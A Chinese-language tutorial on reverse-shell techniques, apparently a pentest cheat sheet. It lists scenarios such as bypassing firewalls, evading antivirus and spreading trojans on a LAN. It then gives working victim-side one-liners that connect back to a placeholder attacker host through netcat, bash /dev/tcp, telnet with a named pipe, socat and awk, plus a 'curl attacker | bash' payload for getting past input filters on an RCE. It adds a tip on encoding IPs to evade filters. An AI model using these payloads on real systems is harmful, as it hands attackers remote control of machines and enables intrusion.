反弹Shell方法
场景
- 由于防火墙等的控制访问策略,客户端无法访问服务端,但服务端可以向外网发起请求
- IP会动态变化,攻击机无法直接连接
- 向局域网中的主机散播木马病毒等,网络环境未知的情况下
- 服务端的AV对正向连接的流量检测非常严格,但是对出网流量校验不足
反弹方式
Netcat(nc)
- 攻击机监听端口
1 | nc -lvp 2333 |
- 受害机执行反弹命令
1 | nc 攻击机IP 攻击机监听端口 -e /bin/bash |
Bash
- 攻击机监听端口
1 | nc -lvp 2333 |
- 在受害机执行:
1 | payload1: |
payload分析
Bash 是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。
- bash -c
后加Linux命令,如:bash -c whoami - bash -i
产生一个bash交互环境 - >&
将联合符号前面的内容与后面相结合,然后一起重定向给后者。 /dev/tcp/攻击机IP/攻击机Port
在Linux中,一切内容皆为文件,这里是与目标主机的指定端口建立一个TCP连接- 0>&1
将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容
首先,Bash生成一个交互环境,在与目标主机建立TCP连接,再重定向TCP连接,然后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,最后得到一个交互式的shell。
Telnet
方法一:
- 攻击机监听端口
1 | nc -lvp 2333 |
- 受害机执行,前提是受害机上要有telnet服务
1 | mknod a p; telnet 攻击机IP 攻击机Port 0<a | /bin/bash 1>a |
mknod a p;:这部分命令使用mknod创建一个名为a的命名管道(FIFO)。命名管道是一种特殊类型的文件,可以用于进程间通信。telnet 攻击机IP 攻击机Port:这里的telnet命令用于连接到指定的 IP 地址和端口(在这里是攻击机的 IP 和端口)。此部分将建立一个与远程主机的 Telnet 连接。0<a:这个部分将命名管道a的内容作为标准输入(file descriptor 0)。也就是说,任何通过管道a发送的数据都会被作为输入传递给 Telnet 连接。| /bin/bash:这一部分表示将前面的命令的输出通过管道(|)传递给/bin/bash,这意味着将执行由 Telnet 连接接收的命令。1>a:这部分将标准输出(file descriptor 1)重定向到命名管道a,即任何输出都会发送到管道a,从而可以通过管道将输出再次传递。
这段代码的核心目的是创建一个后门,允许恶意用户通过 Telnet 远程控制目标机器。在这种情况下,远程攻击者能够发送命令,并看到执行结果
方法二:
- 攻击机需要开启两个端口监听,一个用于输入命令,一个用于回显命令执行的结果
1 | nc -l Your_cmd_Port |
- 目标主机触发
1 | telnet 攻击者IP 攻击者cmd_Port | /bin/bash | telnet 攻击者IP 攻击者result_Port |
此外,在一些工控设备中,常常由 telnetd 程序,也可以利用其来开启正向的shell
- 受害机开启监听
1 | telnetd -p Your_Port -l /bin/sh |
- 攻击主机正向连接
1 | telnet Your_IP Your_Port |
Socat
Socat是Linux 下一个多功能的网络工具,名字来由是”Socket CAT”,因此可以看出它是基于socket的,其功能与netcat类似,但功能比 netcat强大。socat 是一个强大的网络工具,用于创建双向数据流通道
- 攻击机开启监听,可以使用原来的nc,也可以一样使用 socat
1 | socat TCP-LISTEN:2333 - |
- 受害机中触发,前提:受害机上要有socat服务
1 | socat tcp-connect:Your_IP:Your_Port exec:'bash -li',pty,stderr,setsid,sigint,sane |
- tcp-connect:Your_IP:Your_Port: 这一部分表示
socat将尝试通过 TCP 连接到指定的 IP 地址 (Your_IP) 和端口号 (Your_Port)。这也是命令进行网络交互的入口。 - exec:’bash -li’: 这里的
exec用于执行一个新的程序。bash -li启动一个交互式的 Bash shell(-i表示交互式,-l表示登陆 shell),这使得连接者得以在目标系统上直接与 shell 交互。 - pty: 这个选项用于请求一个伪终端 (pseudo-terminal),以便能够在交互式环境中使用 shell 特性,比如输入和输出。
- stderr: 这一部分表示将标准错误输出 (stderr) 也重定向,以确保错误信息也能够通过这个连接返回。
- setsid: 这个选项用于创建一个新的会话,通常用于完全断开与控制终端的连接,这是在创建守护进程时常用的,因此在某些情况下可以确保其正常运行。
- sigint: 此选项用于支持对 SIGINT 信号的处理,通常这是通过 Ctrl+C 发送的,可以使用户能够中断运行的 shell。
- sane: 此选项用于重置终端设置到“合理”的状态,确保环境变量和终端属性在交互式会话中是适当的。
awk
AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。在众多的Linux发行版本中,都会预装这个应用程序。
- 攻击机开启监听
1 | nc -lvp 9999 |
- 受害机触发 payload
1 | awk 'BEGIN{s="/inet/tcp/0/Your_IP/Your_Listening_Port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' |
- BEGIN: 这部分在
awk脚本开始执行之前运行。 - s=”/inet/tcp/0/Your_IP/Your_Listening_Port”: 这里定义了一个变量
s,它是一个 TCP 连接的描述,其中Your_IP和Your_Listening_Port应该被替换为要连接的实际 IP 地址和端口号。具体来说,这个字符串告诉awk使用 TCP 协议进行连接。 - for(;s|&getline c;close(c)): 这部分代码的意思是在尝试连接
s指定的地址,如果成功,getline将会读取数据并将其存入变量c。close(c)表示关闭与c的连接。 - while(c|getline)print|&s: 这是一个循环,用于不断读取从连接
c接收到的数据,并将数据打印到标准输出。print|&s将输出重定向至s(即连接的另一个端)。 - close(s): 最后,关闭连接
s。
Curl
- 在攻击机上建立HTTP服务,同时将 payload 写进文件
1 | # 新建payload |
- 在攻击机上开启nc监听,跟前文提及的一样
- 在目标主机触发payload
1 | curl http://攻击机IP|bash |
适用场景是绕过某些安全校验,如某个站点存在 rce,但是此时对用户的输入存在校验,导致无法直接使用payload,这里用 Curl 先将payload下载下来,再通过管道符号传递给 Bash 程序。
TIPS:此处的IP可以是任意的可解析格式,如十进制、十六进制等等,可参考 SSRF 中的IP过滤绕过